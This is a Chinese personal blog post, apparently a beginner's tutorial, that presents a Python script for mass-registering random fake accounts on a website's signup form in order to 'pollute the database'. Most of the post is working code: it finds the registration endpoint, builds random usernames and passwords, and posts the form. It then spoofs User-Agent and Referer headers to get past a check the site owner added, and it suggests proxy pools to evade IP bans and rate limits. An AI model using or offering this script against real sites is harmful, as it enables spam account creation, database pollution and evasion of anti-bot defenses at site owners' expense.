没记错是半年多前写的一个爬虫脚本了,日期记得不太准确就随便填了一个大概日期,近来无聊乘机把博客完善一下。
工作原理是不断的模拟用户注册从而污染数据库。

前言

前置条件

  • python3
  • 需要用到python的模块(库)
    • requests
  • chrome浏览器

实现思路

  1. 利用浏览器的开发者工具查看后端接口
  2. 分析后端接口
  3. 利用random库随机生成字符做用户名和密码
  4. 利用爬虫进行数据提交

详细步骤

初次尝试

浏览器接口分析

具体方法就不赘述了,大致就network里面找。找到表单请求的接口就好了。
其实是太麻烦了,懒得码字了2333…..

构建随机字符串

利用random()函数从0-9、a-z、A-Z中随机生成网页规则要求的字符串
这里我用了一个比较笨的方法、当时刚学….见谅QAQ!

1
2
3
4
import random
# 随机定义注入的用户名和密码
user_name = ''.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], 5))
passwd = ''.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a''1', '2', '3', '4', '5', '6', '7', '8', '9', '0'], 9))

爬虫提交数据

通过查看接口,我们得知要提交的表单内容,构造一下内容即可。
然后把表单通过requests.post()函数进行提交。

1
2
3
4
5
6
7
8
9
# 提交的表单内容
url_post = {
'handle':'reg',
'usr':user_name,
'pwd':passwd
}
url = '填写目标URL'
# 将表单提交到目标URL
r = requests.post(url, data = url_post)

打印提交信息

此时,我们并不知道是否提交成功了,如果网站设置了某些规则,很可能会拦截我们的爬虫。
所以我们打印一下提交的信息。

1
2
3
# 显示提交信息
print("POST: " + url +'\n' + " UserName: " + user_name + " PassWd: " + passwd )
print("响应时间:" + str(r.elapsed.total_seconds()) + str(r.status_code))

分析结果

因为这是我同学私人的网站,所以安全措施并不高。初次提交时成功了,但我和他说了后他马上就做了修改。
修改过后可以看到,我们第一次尝试的代码返回了错误码(这里是因为我忘了哪个错误吗233)

错误原因分析

  • 一般网站都会检查user_agent,因此我们把user_agent添加一下。
  • 除了user_agent,不排除会有其他地方的坑。

解决思路

  • 对经常验证的项进行伪装,并且查看有没有它单独定义的项。
  • 把整个头文件都复制进去。

再次出发

根据上面的解决思路,我发现它的Referer项有点奇怪,作为一个好奇宝宝,填进去尝试一下。
其实这里我尝试了很多个才发现… :smile::smile:
完善一下代码,如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
user_agent = '填写抓到的user-agent'
Referer = '填写抓到的referer'
user_header = {'User-agent': user_agent, 'Referer': Referer}
# 提交的表单内容
url_post = {
'handle':'reg',
'usr':user_name,
'pwd':passwd
}
url = '填写目标URL'
# 将表单提交到目标URL
r = requests.post(url, data = url_post, headers = user_header)

查看结果

我们看到返回的状态码时200,并且网页内容时正常的。所以我们成功的注册了一个僵尸账号。
整个数据库污染就到此结束了

总结

  • 与传统的刷题刷代码量相比,造一些小玩具、轮子更生动有趣
  • 这个脚本并没有设置ip地址池进行代理
    • 网站管理员可以通过IP来进行批量操作
    • 网站后端也可能会设置访问闸值,单个ip容易给封。
  • 搭配以前写的ip地址池代理,既可以解决上面的问题。

——本文结束您的阅读与肯定是我持续装*的最大动力——